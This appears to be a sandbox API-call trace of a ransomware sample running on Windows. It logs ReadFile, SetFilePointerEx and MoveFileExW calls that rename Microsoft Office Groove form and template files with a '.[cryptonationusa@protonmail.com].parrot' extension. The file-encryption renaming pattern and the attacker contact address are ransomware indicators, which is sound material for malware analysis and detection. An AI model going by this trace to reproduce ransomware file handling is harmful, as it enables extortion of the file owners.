[0189.071] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x13e, lpOverlapped=0x0) returned 1 [0189.071] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.071] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\form.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\form.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c3670 | out: hHeap=0x5b0000) returned 1 [0189.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6049a8 | out: hHeap=0x5b0000) returned 1 [0189.115] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.115] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.116] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.116] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b2, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x4b2, lpOverlapped=0x0) returned 1 [0189.117] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBlankPage.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsblankpage.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0189.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0189.124] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.124] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.126] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.126] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7a7, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x7a7, lpOverlapped=0x0) returned 1 [0189.126] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsBrowserUpgrade.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsbrowserupgrade.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645a38 | out: hHeap=0x5b0000) returned 1 [0189.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0189.134] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.134] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.136] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.136] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x805, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x805, lpOverlapped=0x0) returned 1 [0189.136] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsDoNotTrust.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsdonottrust.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0189.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0189.143] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.143] ReadFile (in: hFile=0x260, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.144] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.144] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc96, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xc96, lpOverlapped=0x0) returned 1 [0189.145] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePage.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepage.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0189.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0189.160] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.160] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.162] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.162] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15fc, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x15fc, lpOverlapped=0x0) returned 1 [0189.165] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagescript.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageScript.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagescript.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645a38 | out: hHeap=0x5b0000) returned 1 [0189.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31cc470 | out: hHeap=0x5b0000) returned 1 [0189.173] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.173] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.174] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.174] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40c, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x40c, lpOverlapped=0x0) returned 1 [0189.175] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.175] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645a38 | out: hHeap=0x5b0000) returned 1 [0189.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0189.181] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.181] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.182] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.183] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a2, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3a2, lpOverlapped=0x0) returned 1 [0189.183] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPreviewTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formspreviewtemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645a38 | out: hHeap=0x5b0000) returned 1 [0189.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0189.188] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.188] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0189.190] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.190] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x262, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x262, lpOverlapped=0x0) returned 1 [0189.190] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645a38 | out: hHeap=0x5b0000) returned 1 [0189.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0189.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0189.195] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0189.196] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0189.196] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0189.196] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0189.196] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0189.196] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Customer Support.fdt", cAlternateFileName="CUSTOM~1.FDT")) returned 1 [0189.197] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.197] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.198] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.198] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2021e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x2021e, lpOverlapped=0x0) returned 1 [0189.203] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.205] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.211] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.211] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.213] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.213] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20b43, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x20b43, lpOverlapped=0x0) returned 1 [0189.218] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.221] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hardware Tracker.fdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hardware tracker.fdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.227] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.227] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.231] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.231] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24051, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x24051, lpOverlapped=0x0) returned 1 [0189.244] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition - Customized.fdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition - customized.fdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.308] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.308] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.309] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.309] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x248db, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x248db, lpOverlapped=0x0) returned 1 [0189.315] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.319] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Hiring Requisition.fdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\hiring requisition.fdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.329] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0189.329] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0189.363] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.363] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17d6d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x17d6d, lpOverlapped=0x0) returned 1 [0189.367] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\policies.fdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\policies.fdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0189.377] 